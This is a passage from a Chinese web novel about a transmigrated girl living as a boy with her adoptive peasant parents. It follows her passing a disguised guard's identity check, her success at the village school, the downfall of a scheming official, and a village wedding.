“那孩子估计只听到‘哭瞎眼’三个字了,可不就急了。”
“端哥儿他娘,你消消气,那孩子也是个苦命的,自然将谢老大两口子看得重了些。”
陈端他娘穿针引线,摇了摇头:“我不过感慨两句,端哥儿都没生气,我哪能跟一个孩子置气。”
货郎肩挑货担,吆喝着途径枣树下。
陈端他娘留意到他,嘴上不停:“不过话又说回来,谢老二真是瞎了眼,居然觉得那孩子是侏儒,真小孩和假小孩区别大着呢,假小孩才不会这么斤斤计较,真真是幼稚得要死......”
货郎健步如飞,忽而咳嗽几声,在黄泥房前停下。
放下货担,上前敲门。
妇人们见状,纷纷停下手里的活儿。
虽说昨日闹了场乌龙,并非拍花子偷小孩,但当下这世道,警惕点总没错。
谢老大进城做工,他媳妇又去张兰英家帮忙,她们怎么也得盯着点。
货郎轻叩门扉,须臾后木门打开一条缝,谢峥躲在门口,只露出一双眼:“你是何人?做什么的?”
货郎脸上挂着恰到好处的憨厚笑容:“我从富阳县而来,赶了几个时辰的路,这会儿渴得慌,实在受不住了,想来讨口水喝。”
谢峥将门拉开一些,露出英气的五官,看到货郎身后的货担,视线在那兔子面具上定格一瞬,又留意到枣树下的妇人们,眼里的警惕淡去两分:“只有冷水,喝吗?”
货郎搓手:“喝!喝的!”
谢峥打开门走出来,去灶房水缸打了一碗水,递给门外的货郎。
货郎伸手来接,却一个失手,将碗打碎。
冷水一股脑洒在谢峥的短袄上,尤其是右边的袖子,沉甸甸冷冰冰,骨头缝都渗入寒意。
谢峥瞬间红了眼,不过是气得,怒瞪货郎:“我好心给你水喝,你怎还恩将仇报,砸了我家的碗?我家拢共也就六个碗,你究竟安的什么心?”
货郎从货担取来一个大海碗:“实在对不住,这碗赔你可好?”
谢峥脸色这才好看些,接过碗放在灶台上,旁若无人地脱去短袄,费力地拧:“这么冷的天,着凉会生病的,可我又没有多余的衣服......”
越想越气,凶巴巴地瞪了那货郎一眼。
货郎过意不去:“不如让我来?”
谢峥迟疑一瞬,突然打了个喷嚏,冷得直哆嗦,遂不再纠结,将短袄递过去。
货郎指腹不经意触上谢峥手腕内侧,脉象强劲有力,皮肤平滑,并无粗糙发硬的疤痕,更不见朱红色的胎记。
“好了。”货郎归还短袄,又递上一只兔子面具,咧嘴笑道,“来年是兔年,提前讨个吉利。”
谢峥眼睛亮了下,语气却不冷不热:“你等着,我再去给你倒一碗水。”
货郎自是连连称谢,喝了水顺手将地上的碎片扫干净,这才挑着货担离开。
谢峥将面具丢进灶膛,锁上灶房的门,回东屋将门反锁,踢了草鞋钻进被窝,沉沉睡去。
16. 016
沈仪与村中几个擅长厨艺的妇人准备好明日喜宴上要用的菜,张兰英给每人塞了一把糖果子,客客气气把人送出门。
途中遇到陈端他娘,得知下午有人去她家讨水喝,沈仪登时蹙起眉头。
陈端他娘在一旁絮絮叨叨:“虽说有我们盯着,可防人之心不可无,她一个孩子在家,小心点总没错,你可得跟她好好说说。”
沈仪回到家,发现自家的烟囱飘起袅袅炊烟,推开门便问:“今日这么早就回来......怎么是你?赶紧出来,当心别呛着!”
谢峥从灶膛后冒出个脑袋,脸蛋被火焰熏得红扑扑:“阿娘我没事,也不是什么重活儿,您和阿爹在外忙碌,就我一人在家,总不能你们回来的时候还冷锅冷灶,连口吃的都没有。”
沈仪深觉欣慰,但更多是气恼与担忧:“你这孩子真是不听话,我不是让你不要随便开门吗?万一那货郎是拍花子假扮的,乘人不备将你拐走......”
责备的话戛然而止。
谢峥眼中含着两包泪,欲落不落,怯生生地看着沈仪:“阿娘我错了,我以后再也不随便给人开门了,你别生气好不好?”
沈仪心头一颤,恨不得扇自己一巴掌。
这孩子在家辛辛苦苦做饭,原以为会得到阿娘的夸奖,谁料一打照面竟是劈头盖脸一顿训斥,其中的委屈可想而知。
“知错就改就是好孩子,我也有错,不该凶你。”沈仪从袖中暗袋取出糖果子,“你张阿婆给的,要不要尝尝?”
谢峥闷闷应一声,张嘴嗷嗷待哺。
沈仪倾身投喂,揭开锅盖看了眼,是昨晚剩的百叶结烧肉:“这里交给我,你出去歇会儿。”
谢峥将火钳交给沈仪,却未离去,而是蹲在灶膛旁,瓮声瓮气道:“那个货郎一直敲门,当时我正睡着,脑子晕乎乎的,也没多想就直接开门了。”
“他不小心摔了碗,还弄湿了我的袄子,好在他赔了一个新的,袄子晒了两个时辰,这会儿也干了。”
沈仪往灶膛里塞两根柴火:“无妨,咱家的也有些年头了,就当他是以旧换新。”
至于谢峥身上的短袄,原本是谢老三的,里头的棉花穿硬之后直接买了身新的,旧的那身便宜了谢义年。
谢义年当宝贝一样收着,过年才舍得穿,而今又给了谢峥,是名副其实的三手货。
棉花硬了不保暖,沈仪寻思着过几日找人重新弹一下,穿着也舒服。
苦了谁也不能苦着孩子。
谢峥嗯嗯点头,方才破涕为笑,回东屋继续翻看《说文解字》。
正在木板上嗒嗒比划,陈端突然过来,先是同沈仪问好,然后敲开东屋的门,将一个水煮鸡蛋放在桌上,眼一闭超大声:“对不起!”
谢峥捏着树枝:“唔?”
陈端低着头,恨不得把脸埋进胸口,言辞却流利坦然:“我反思了一整日,昨日的确是我说错话了。”
谢峥在垂死之际被她的亲人丢在乱葬岗,谢家叔婶将她救回,于她而言必然是救命稻草一般的存在。
他说出那番话,谢峥可不就炸毛了。
陈端比谢峥大两岁,自诩兄长,自然要让着她一些。
终于,坐立难安一整日后,陈端揣上他省下来的鸡蛋来到谢家。
“对不起,你别生气了好不好?”
陈端眨巴着大眼睛,眼巴巴地瞧着谢峥,仿佛只要她说一个“不”字,他便就地打滚,撒泼求原谅。
谢峥:“......”
虽然谢峥是个小心眼的,但不至于无缘无故与人闹矛盾。
陈端他娘是个大嘴巴,藏不住话,遇着什么事都喜欢往外说。
谢峥便借着这一点,为自己洗去有关侏儒的最后一丝嫌疑。
谁承想,陈端竟上门道歉了。
还带着他非常喜欢的鸡蛋。
——瞧他那一直往鸡蛋上瞄的眼神就知道了。
谢峥不存在的良心痛了一下,将鸡蛋推回去,在陈端“汪”地哭出声之前开口:“其实就算你不来,明日我也打算向你道歉。”
陈端瞪大眼睛:“你说啥?”
谢峥无奈:“其实你那话也没说错,是我过激了。”
陈端唇角疯狂上扬:“所以我们和好了?”
谢峥颔首:“嗯,和好了。”
陈端高兴得嗷嗷大叫,一蹦三尺高:“好耶!”
一通乱叫过后,他又将鸡蛋推给谢峥:“你吃,这鸡蛋可香了。”说着还咽了口唾沫。
“......我不吃。”谢峥又推回去,“鸡蛋不能吃太多,我今早已经吃过一个了。”
“真是个怪人。”陈端拼命压下上扬的唇角,故作勉强地吃掉鸡蛋,“我最开始学认字的时候也是用木板和树枝,不过最好还是准备一套笔墨,每个月夫子都会教我们练习书法,到那时你总不能拿着根树枝和我们一起练。”
谢峥自是应好。
陈端又问:“你现在认识多少字了?”
谢峥将《说文解字》翻看过的五分之三捏在手里:“这么多。”
陈端懵了一瞬,像是被丢到太阳底下的吸血鬼,吱哇乱叫:“这才三日,你居然已经认识这么多字了?”
而后又疯狂摇头:“我不信,你一定在骗我!”
谢峥树枝轻敲木板:“不如你来考校我一番?”
陈端鼻子里喷出一口气,撸起袖子大马金刀坐下:“来!”
一炷香后——
陈端双目呆滞,不敢置信:“你竟然全都写出来了?!”
谢峥丝毫没有以大欺小的自觉,矜持一笑:“承让。”
陈端一脑袋磕在桌上:“别理我,我想去死一死。”
谢峥笑得东倒西歪,丢给他一颗糖果子:“三石叔明日成亲,我阿娘去帮忙,张阿婆给的。”
陈端嗷呜吃掉,满口香甜,眼睛眯成一条缝。
谢峥支着下巴笑,真好哄。
-
扮作货郎的侍卫回到沈家村,求见荣华郡主。
“那谢家子的脉象确为男子,手臂内侧并无红色胎记,更无疤痕。”
“奴才又去了凤阳山附近的乱葬岗调查,的确有人见到一男子将一卷草席扔到乱葬岗,只是奴才并未寻到那男子,应当是过路的流民.
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.....”
一番回禀后,荣华郡主将茶盏拂落在地,面上冷笑:“真是见了鬼了,难不成那沈萝人间蒸发了不成?”
虽说陛下是为了她才让沈奇阳除掉苏氏母女,可他毕竟是九五之尊,总得有个交代。
荣华郡主倒是想随便找个替死鬼,可她没有把握能骗过陛下。
思及来到凤阳府后,沈奇阳日日霉运缠身,她数次受到牵连,荣华郡主耐心告罄,吩咐下去:“明日回京。”
陛下赐婚无法和离,她只能敬而远之。
沈奇阳得知,自是焦急万分,握住荣华郡主的手,深情款款道:“你我新婚燕尔,我不愿与郡主分开。”
话音刚落,一块瓦片直直坠落,砸得沈奇阳头破血流。
荣华郡主:“......回京!现在就回京!”
荣华郡主提着裙摆大步离去,沈奇阳不顾满头鲜血,殷殷切切在后面追。
“郡主!”
“郡主!”
荣华郡主充耳不闻,满脑子都是离开沈家村,离开沈奇阳这个扫把星。
途径门旁高墙,只听得一阵尖锐巨响,新建成不久的墙壁轰然倒塌。
荣华郡主和沈奇阳躲闪不及,被压在砖石之下。
“郡主!”
“老爷!”
......
沈奇阳再醒来,已是两日后。
他被砸断双腿,粽子似的瘫在床榻之上,丝毫不得动弹。
随行大夫表示:“老爷此次伤得极重,恐不良于行。”
沈奇阳脸色瞬变。
朝堂上可以有面容有瑕的官员,却不可有体有残缺的官员。
沈奇阳不甘心:“不能恢复如初吗?”
大夫摇头:“宫中孙太医擅长骨科,倒是可以一试,可如今您在凤阳府,远水解不了近渴。”
沈奇阳一颗心沉入谷底,遍体生寒。
良久,他忽然想起荣华郡主。
事发时荣华郡主被他压在身下,不知现况如何。
大夫迟疑一瞬,如实照说:“郡主比您伤得更重,她后脑被砖块砸出一个血洞,虽全力救治,至今仍未苏醒,恐怕......”
九千岁和姚尚书对荣华郡主疼爱有加,她若有个三长两短,他们绝不会放过沈奇阳。
所以他这些日子对荣华郡主低三下四,不惜杀害原配发妻又算什么?
为了权势汲汲营营,最终什么也没得到!
沈奇阳长须颤抖,绝望席卷心头,忽而支起身子,环视四周。
“是不是你?”
“一定是你回来了对不对?”
“我害死了你,又对沈萝赶尽杀绝,你便让我生不如死!”
“娘子我错了,念在往日的情分上,你饶了我吧,饶了我好不好?”
“求你!求你放过我啊啊啊啊!”
沈奇阳涕泗横流,蛆虫一般蠕动着,丑态毕露,哪还有往日的光风霁月。
大夫冷眼瞧着,竟有痴癫之相。
【滴——“活下来”任务已完成,获得15积分。】
【当前积分:5】
17. 017
翌日,谢义年和沈仪天色未明便起了。
分家得了五亩地,前几日忙于其他事情,直到今日才有时间下地。
两口子手脚麻利,很快将麦地里的杂草清理干净,于晨光熹微之际回到家。
谢义年匆忙擦洗一番,拿上两个窝窝头,着急忙慌地进城做工去。
沈仪也吃了两个,又擀了一人份的面条,放在砧板上晾着,去屋后洗衣喂鸡。
卯时三刻,谢峥准时睁开眼。
沈仪叩响东屋的门:“我做了豆酱拌面,赶紧出来吃。”
谢峥一骨碌爬起来,飞速穿好衣服,刷牙洗脸。
正按着巾帕小猫洗脸,007突然出声:【宿主,迄今为止已逾两旬,您仍未成功获取户籍,请尽快完成任务。】
谢峥搓脸的手顿住:“任务有期限?”
【没有。】
谢峥撇了下嘴,谢义年和沈仪迟迟不愿将她记入族谱,她能有什么办法?
“知道了,我尽量。”
谢峥三言两语打发了007,走进灶房时,朝食已经上桌。
“阿娘早上好,阿娘辛苦了。”谢峥轻轻抱了沈仪一下,得到她温柔的爱抚,迫不及待坐下,拿起筷子浅尝一口。
面条劲道爽口,佐以豆酱的咸香,真真是人间美味!
不过——
“阿娘,怎么又用白面?我更喜欢吃杂粮的。”
白面精贵,杂粮面粉虽口感粗糙,胜在低廉。
谢峥仰起脸:“阿娘,我感觉我身子已经大好了,两日一个鸡蛋足矣。”
沈仪端详谢峥脸色,的确红润许多,也长了一些肉,不似初见时的瘦削蜡黄,颇为欣慰,却未一口应下:“下午随我去朱大夫家,请他给你诊个脉,看看你身体究竟恢复得如何了。”
谢峥比了个手势,埋头大快朵颐。
吃完面,见沈仪在打络子,谢峥眼珠一转,蹬蹬跑上前,蹲在她腿边,托着下巴问:“阿娘,我叫什么名字啊?”
沈仪翻飞的指尖陡然滞住。
谢峥皱着脸,似是十分苦恼:“我知道陈端叫什么名儿,也知道村塾里许多同窗的名字,唯独不知道自己的名字。”
“入村塾那日,陈端问我姓甚名谁,我都不知该如何回答。”
“方才忽然发现,这些日子阿爹阿娘似乎也从未唤过我的名字......所以阿娘,我到底叫什么?”
沈仪张了张嘴,却没能发出丁点儿声音。
她该说什么?
她又能说什么?
说她不是他们的孩子?
说她名为沈萝,是个惨遭生父毒害的可怜孩子?
既已认定谢峥,这些话注定要烂在沈仪的肚子里。
她不会说。
到死都不会说。
除非......
除非谢峥恢复记忆。
想到这个可能,沈仪心头刺得慌,面色隐隐泛白,有种失去最重要的东西,却无能为力的恐慌。
“阿娘?”
沈仪垂下眼,捏紧络子,语调艰涩:“你叫......”
“叫谢峥对不对?”谢峥捧着脸笑眯眯,“前两日陈端教我认字,他读到‘峥嵘’二字,我便觉得那个‘峥’字十分亲切,后来我寻思许久,觉着除了这个字出自我的名字,再没有其他缘由了,便来问一问阿娘。”
沈仪愣怔一瞬,掩下眼底的复杂情绪,牵起唇角,颇有几分强颜欢笑的意味:“没错,你就叫谢峥。”
说着,轻揉谢峥脸颊:“也是我们的疏忽,只顾着你的身子,竟忘了告诉你你叫什么。”
谢峥歪头,蹭蹭沈仪的手指:“不碍事,现在想起来就好啦。”
而后顺手将碗筷洗了,同沈仪道别,背上书袋去村塾上课。
灶房里,沈仪怔怔望着虚空,脑海中一会儿是捡回谢峥的次日,谢义年的规劝之言,一会儿又是谢峥毫无保留的亲昵。
或许,她该劝说年哥,早日将谢峥记入族谱。
......
今日余成耀来得早,进了课室便扬声道:“近半月以来,为师日日带领诸位通读《三字经》,课上细致讲解,课后亦留下功课,是时候检验成果了。”
成果?
什么成果?
众学生竖起耳朵,眼睛睁得溜圆。
“今日不讲课,检查背诵。”余成耀摘下腰间荷包,点了一名学生,“一个一个来,随机抽背《三字经》中的段落,以及相应的意译。”
“完蛋!我昨日玩了一整晚的陀螺,一个字也没背!”
“诶嘿,我昨晚足足背了两遍!不过你哪来的陀螺?我也要玩!”
一片叫声中,抽背正式开始。
凡是被抽中的,无一不面色紧绷,紧张得直咽口水。
顺利背出来的有奖励,是余夫子荷包里的龙须糖。
背不出来也有奖励,不过是夫子手中的戒尺。
一时间,课室内笑声哭声交错起伏,好不热闹。
余成耀走到谢峥旁边,轻叩桌面:“你来。”
谢峥起立,全体学生行注目礼。
他们对谢家的争端有所耳闻,对引起争端的谢峥更是好奇不已。
这会儿或吃着糖看热闹,或捂着红肿的手心,坏心眼地盼着谢峥也背不出来,也被打手板。
谢峥行礼:“学生谢峥见过夫子。”
余成耀颔首:“高曾祖,父而身。”
谢峥背起手,摇头晃脑往下背:“身而子,子而孙......至缌麻,五服终。”
不同初见时的磕磕绊绊,咳嗽不止,这次谢峥背得十分流畅,没有丝毫停顿。
背诵完毕,又行云流水般道出译文。
稚嫩清亮的嗓音在课室内回荡,学生们张大嘴,呆呆看着谢峥。
“不错。”余成耀面露赞许之色,往谢峥手心放了一块龙须酥,“下一个,谢宏光。”
谢家二房次子,谢宏光有些慌,在夫子的注视下硬着头皮站起来:“人不学,不如物。幼而学,幼而学......”
三个字重复念了四五遍,竟卡在这里背不下去了。
谢宏光涨红脸,汗如雨下,恨不得找个地缝钻进去。
阿爷阿奶还有阿爹卧病在床,阿娘家里家外一把抓,没空盯着他读书,这几日懈怠许多,散学后只知疯玩,哪还记得夫子留下的功课。
今日夫子抽背,可不就原形毕露了。
不仅谢宏光,二房长子谢宏济和三房长子谢宏奕同样如此。
兄弟三人支支吾吾,竟没一个背出来的。
余成耀也不训斥,只面无表情扬起戒尺,“啪啪啪”三下,手心顿时肿得老高。
谢宏光当下哇哇大哭,似要将屋顶掀飞了去。
“多大人了还哭哭啼啼,真是吵死了。”陈端嘴里含着龙须糖,“原来你叫谢峥,这名字真好听!”
谢峥惬意晃动悬空的双腿,颇为自得地一挑下巴。
这名字可是她自己选的,她特别喜欢。
哪怕穿越异世,仍不愿舍弃。
“谢峥”二字将伴随她终生。
入科举场,登
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天子堂。
......
一个时辰转瞬即逝,四十名学生抽背完毕,接下来是休息时间。
余成耀刚离开,前桌便转过身来:“你方才背得真好,又快又准确,连气都不带喘一下。”
“是啊是啊,夫子鲜少夸人,他说不错便是极好的意思。”
陈端见小伙伴对谢峥赞不绝口,比自己被夸还高兴,一脸的与有荣焉:“谢峥只在村塾外面听了三次,便将《三字经》一字不落地背了出来,正因如此,夫子才破例让她来村塾借读哩!”
惊呼声迭起。
“这么厉害的吗?”
“谢峥你快跟我们说说,你是怎么做到的?我每次背书都跟上刀山下火海似的,特别痛苦!”
这些学生早从他们家人口中得知谢峥的遭遇,家人三申五令,不得在谢峥面前提及此事。
若说一开始对谢峥抱有同情,这会儿便是佩服了,一个二个眼巴巴瞧着她,催着她分享经验。
谢峥被这么多人注视着,有些羞赧,脸蛋泛起红晕,却是落落大方道:“其实很简单,你们可以......”
课室内所有的学生都竖起耳朵,兴致勃勃地听取经验。
除了谢家三兄弟。
他们见谢峥备受夫子褒奖,又深受同窗的欢迎,顿时气成河豚,就差原地爆炸了。
谢宏光最是讨厌谢峥,若不是她,自己就可以成为大伯家的独子,每日吃香喝辣。
他恨不得一口咬死谢峥,但是他不敢。
大伯把刀架在他爹脖子上的画面至今仍历历在目,谢宏光心里犯怵,不敢与谢峥正面对上,一抹眼泪,一溜烟跑回家去。
......
那日谢义年大闹一场,荣华郡主的侍卫走后,谢老爷子便一病不起。
谢老太太得知银子没了,紧跟着也病倒了。
谢二婶既要伺候公婆,还要照顾孩子,洗衣做饭,喂鸡喂猪,早已累得手都抬不起来,面如土色,却仿佛没有感情的机器,仍在不停运转着,忙进忙出。
正屋里,谢老太太躺在炕上,支着脖子吆五喝六:“老二媳妇,尿盆满了,赶紧拎出去倒了。”
谢二婶将脏衣服丢进盆里,闻言头也不抬:“我要去洗衣服,让三弟妹去倒。”
谢老太太想也不想:“老三媳妇可是童生夫人,哪能倒尿盆,万一染上晦气,影响老三考秀才怎么办?”
谢三婶倚在门框上吃花生,冲谢二婶得意地笑。
老三要考科举,她的济哥儿光哥儿难道不考?
谢二婶正欲开骂,谢宏光炮弹似的冲进来,大声嚷嚷:“阿娘,我饿了!”
谢二婶看向屋檐下晒太阳的谢老二:“早上我让你烙饼,烙好了没?”
小孩子长身体,容易饿,家里得一直备着面饼。
谢老二顶着青一块紫一块的脸,懒洋洋晃着脚:“忘了。”
谢峥出风头的委屈无限放大,谢宏光顿时不干了,躺在地上直打滚:“不行,我现在就要吃!”
谢二婶素来将孩子放在第一位,见不得谢宏光饿肚子,当即放下木盆,便要往灶房去。
“对了,好几日没下地,估计又长了一茬草,别忘了过去看看。”谢老二啧了一声,“就不该分家,以前地里的活儿全归那两口子,哪里用得着我操心。”
你操什么心?
不就动动嘴皮子?
谢二婶抹去额头豆大的汗珠,只觉胸口压着一块巨石,喘不过气来。
她不禁想,老大两口子搬出去之前,也是这般辛苦吗?
18. 018
散学后,谢峥背上书袋回家去。
“阿娘!阿娘!”
沈仪提着竹篮从屋后过来,将鸡蛋放入橱柜旁的小筐里:“怎么了?”
谢峥献宝似的奉上龙须糖:“今日夫子抽背,我背得好,夫子便奖励我这块糖,我没吃,留给阿爹阿娘吃。”
沈仪扬唇,促狭道:“龙须糖只有一块,可我们有两个人,这该如何是好?”
谢峥呆了下,略显迟疑地道:“不如一人一半?或者......”
沈仪趁谢峥张口,眼疾手快将龙须糖塞入她口中。
谢峥瞪眼:“唔?”
沈仪唇边笑意更甚:“你有这份心,我心里比吃了蜜还要甜,不过我不喜欢吃糖,你还是自个儿留着吃吧。”
谢峥拧起眉头,一脸“您别骗我”的严肃表情。
沈仪解下襜衣:“走,我带你去朱大夫家,一来一回喜宴差不多也开始了。”
大周朝的百姓通常在黄昏时分举办婚宴,这会儿才未时,还有足足一个半时辰。
谢峥脆生生应好,将书袋送回东屋,亲亲热热地牵住沈仪的手,龙须糖嚼得咔嚓响:“阿娘,我们走吧!”
沈仪欸一声,两人一路往西去。
途中遇到好些村民,他们见到谢峥和沈仪姿态亲昵,面上不显一丝异色,笑呵呵地打招呼。
沈仪笑着回应,谢峥则充当吉祥物,在一旁乖巧站着。
朱大夫家住杏花村,步行要走一炷香时间。
抵达朱家时,沈仪观察谢峥脸色,依旧红润,只呼吸略微急促,暗叹朱大夫医术高明,抬手叩响院门。
进了门,依旧是望闻问切那一套流程。
诊脉过后,朱大夫道:“恢复得不错,这两年仔细养着即可。”
谢峥笑眯眯:“阿爹阿娘一直悉心照顾我,每两日一个鸡蛋,白米白面更是没断过,自然恢复得好。”
朱大夫意味不明扬起眉头,看向沈仪:“还有一些注意事项,你随我来。”
“我去去就回。”沈仪轻抚谢峥脑袋上的发包,随朱大夫去了隔壁。
这两人明显有话要说,谢峥虽好奇,却不会刨根究底。
很多时候,装聋作哑方是长久之道。
......
隔壁药房里,朱大夫眉头紧蹙,神情肃穆:“她是个隐患,你们不该留下她,更不该替她遮掩。”
那日张刘二人大闹福乐村,朱大夫便已知晓谢峥——或者说沈萝的身份。
这几日,他一直在等。
等谢义年和沈仪想明白事情的严重性。
等他们送走谢峥。
谁知竟等来沈萝更名为谢峥,还将她领到他的面前!
朱大夫冷然道:“那些个权贵只手遮天,当心引火烧身,不得善终!”
沈仪犹如一座沉默的雕像,立在药房的阴影中,身形瘦削,神情晦涩。
良久,沈仪方才开口:“这些年我和年哥吃过很多偏方,去过很多地方,旁人说哪里灵验我们便排除万难赶过去。”
“但无一例外,皆失望而归。”
“您说子嗣讲究缘分,可我与年哥成亲已有十二载,却从未有过孕信。”
“这些年为了子嗣,我和年哥吃了太多苦,攒了太多的失望。”
“有时候我在想,或许是上天同我和年哥开了个玩笑,让我们命中无子,孤苦一生。”
“那夜在凤阳山遇见她,她瘦伶伶的,那般可怜,那般惹人疼惜。”
“她唤我阿娘,唤年哥阿爹,在我怀中肆意撒娇,为年哥捏肩捶背。”
“定是上天起了恻隐之心,让送子娘娘将她送到我们身边。”
沈仪嗓音低不可闻,眼底闪烁晶莹。
“倘若真到了无路可走的那日,左不过一个死。”
朱大夫瞳孔震颤,并指指向沈仪:“你、你们两个真是疯了!”
沈仪不承认,也不否认,只轻叹:“吃了二十多载的苦头,窝囊了十多载,朱大夫,您便让我们疯上一回吧。”
“她让我和年哥体会到为人爹娘的滋味,得以享受天伦之乐,我们理应以命相护。”
朱大夫僵持许久,终究是败给了沈仪。
败给她的慈母之心。
左右那日荣华郡主的侍卫并未认出谢峥,至今一晃多日,也不曾杀个回马枪,可见彻底洗清了嫌疑。
“罢了。”朱大夫捻须长叹,“带她回去吧。”
沈仪心下一松,喜笑开颜:“多谢您替我和年哥保守秘密。”
朱大夫冷哼:“自保而已。”
沈仪笑而不语,只微微颔首,退出药房去找谢峥。
“阿娘,我还要继续喝药吗?”
“朱大夫说你已经痊愈,不必再喝药了。”
“好耶!”
轻柔女声和稚嫩欢快的童声渐行渐远。
朱大夫立在门后,连风都温柔了几许。
-
回到家,谢峥继续翻看《说文解字》。
看到一半时,陈端过来。
谢峥将桌底下的小木凳踢给他:“有时间吗?”
陈端看了眼《说文解字》翻看过的部分,已有五分之四,酸溜溜撇嘴:“我人都来了,自然是有时间的。”
谢峥将木板拖到面前,持着树枝。
陈端手捧字典,压低嗓子故作深沉:“默写开始!”
一炷香后,默写结束。
陈端脸滚字典,持续怀疑人生:“谢峥,你简直不是人!”
谢峥给手指按摩,方才写得多了,有些酸痛:“喜宴快开始了,不如我们先过去?”
陈端没意见,谢峥同沈仪打声招呼,两人直奔余家。
“陈端!”
“谢峥!”
从村塾新认识的小伙伴们跳起来打招呼,热情洋溢:“我们在捡石子儿,你们要不要一起玩?”
谢峥和陈端异口同声:“玩!”
捡石子的游戏,谢峥可是从小玩到大,打遍大院无敌手,从来没输过,今日同样如此。
几轮下来,小伙伴们吱哇乱叫。
“怎么又是谢峥赢了?”
“啊啊啊好气好气!”
谢峥眯眼笑,一点没有以大欺小的自觉。
不过以防这些小屁孩玩不起,嗷嗷大哭,接下来几轮谢峥放了点水。
“哇,我赢了我赢了!”
“诶嘿,我可真牛!”
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眼看天擦黑,吉时已到,新郎官余三石及一众亲戚将新娘子从娘家接过来。
爆竹声与唢呐声齐鸣,震耳欲聋。
孩子们又跳又叫,脸蛋被那红灯笼和大红喜字映得红通通,分外喜庆。
余三石是村长余成仁的堂侄,家中有兄弟五人,皆是壮劳力,且关系极好,一大家子往一处使劲儿,家境算不上富庶,但也有吃有穿。
今日喜宴上不但有十个菜,其中还有两道荤菜,可以说十分丰盛了。
谢义年坐在席间,见余三石几个兄弟争相为他挡酒,再看隔壁桌饿死鬼一样胡吃海塞的谢老二,眼里闪过一丝艳羡。
谢峥眼疾手快夹了一片肥多瘦少的腊肉,放入谢义年碗中:“阿爹做工辛苦了,吃肉。”
谢义年哪还记得什么谢老二,对同桌的村民说:“扛麻包算什么辛苦,我家峥哥儿非要我吃,我拗不过她,只能吃了。”
谢峥:“......”
村民:“......”
嘴角收一收,牙花子都露出来了,也不嫌冻得慌。
喜宴临近尾声时,陈端不知从哪窜出来,一把抓住谢峥的细胳膊:“快快快,赶紧的,我们去看新娘子!”
谢峥几乎是被他一路拖行,蚂蚱似的窜进新房里。
余三石用喜秤挑起红盖头,露出新娘子艳若桃李的面庞。
二人对视,皆羞涩不已。
众人起哄欢呼,笑闹不止。
谢峥被挤来挤去,有些遭不住,从人缝钻了出去,恰好听见两个妇人在闲谈。
“听说原本兰英嫂子给三石相看的是张家的闺女,是三石相中了刘丁香,非要娶她。”
“好在刘丁香也是个能干的,两口子好好过日子,再生几个大胖小子......”
喜宴直到半夜才结束,谢义年饮了酒,有些微醺,半路上突然扛起谢峥,啊啊叫着往前冲。
谢峥反应过来时,已经坐到谢义年肩头,冷风呼呼直往脸上刮。
沈仪在后面追,语气难掩焦急:“年哥你这是做什么?快停下来!”
哪知谢义年听了娘子的声音,跑得更起劲儿了。
“冲啊!杀了那老贼,我便是大将军了哈哈哈哈!”
谢峥:“......阿娘救命!”
村民哄然大笑,沈仪亦是哭笑不得。
发酒疯的后果就是,谢义年被沈仪一盆冷水从头浇到脚,在灶房里睡了一晚。
谢峥表示她一点也不幸灾乐祸。
哈哈哈哈!!!
-
福乐村已有许久未办喜事,余家的喜宴又十分丰盛,直到次日,村塾内仍有小伙伴口水直流三千尺,砸吧着嘴回味腊肉滋味儿。
比起那些个馋猫,陈端的志向更为远大。
“等我长大了,我也要娶个像丁香嫂子一样好看的媳妇!”
谢峥:“......”
无语之际,余成耀拿着书本走进课室。
正欲起身问安,门外陡然传来一声:“余秀才,你凭啥让谢家的那个小崽子免费借读,我家娃就要交束脩?”
“今个儿要么将那个小崽子撵出去,要么让我家娃也免费读书!”